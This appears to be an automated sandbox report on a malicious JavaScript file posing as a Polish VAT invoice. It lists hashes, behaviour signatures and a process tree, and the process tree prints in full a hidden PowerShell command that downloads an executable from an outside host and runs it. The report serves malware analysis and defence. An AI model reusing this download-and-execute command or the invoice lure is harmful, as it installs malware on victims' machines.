Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/06/2024, 04:32

General

  • Target
    Faktura_VAT_225145593848.js
  • Size 14KB
  • Sample240613-e5xraaxgqn
  • SHA256 dd91faca9f8856536665dab376792109c90e31bdc0282415ca4022ca3588df55
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://gostat.dhl-tcp.com/page818.php

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Faktura_VAT_225145593848.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2248
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://gostat.dhl-tcp.com/page818.php','%TEmp%jMh78.eXe'); INvoKe-WmiMethod -Class Win32_PRoCeSS -NAme CrEate -ArguMentList '%temP%jMh78.ExE'
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2748
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass (new-object system.net.webclient).downloadfile('http://gostat.dhl-tcp.com/page818.php','C:\Users\Admin\AppData\Local\TempjMh78.eXe'); INvoKe-WmiMethod -Class Win32_PRoCeSS -NAme CrEate -ArguMentList 'C:\Users\Admin\AppData\Local\TempjMh78.ExE'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3872

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_huozcnm3.wm1.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_huozcnm3.wm1.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/3872-1-0x00007FFCAC653000-0x00007FFCAC655000-memory.dmp

        memory/3872-2-0x0000019BB32A0000-0x0000019BB32C2000-memory.dmp

        memory/3872-12-0x00007FFCAC650000-0x00007FFCAD111000-memory.dmp

        memory/3872-13-0x00007FFCAC650000-0x00007FFCAD111000-memory.dmp

        memory/3872-16-0x00007FFCAC650000-0x00007FFCAD111000-memory.dmp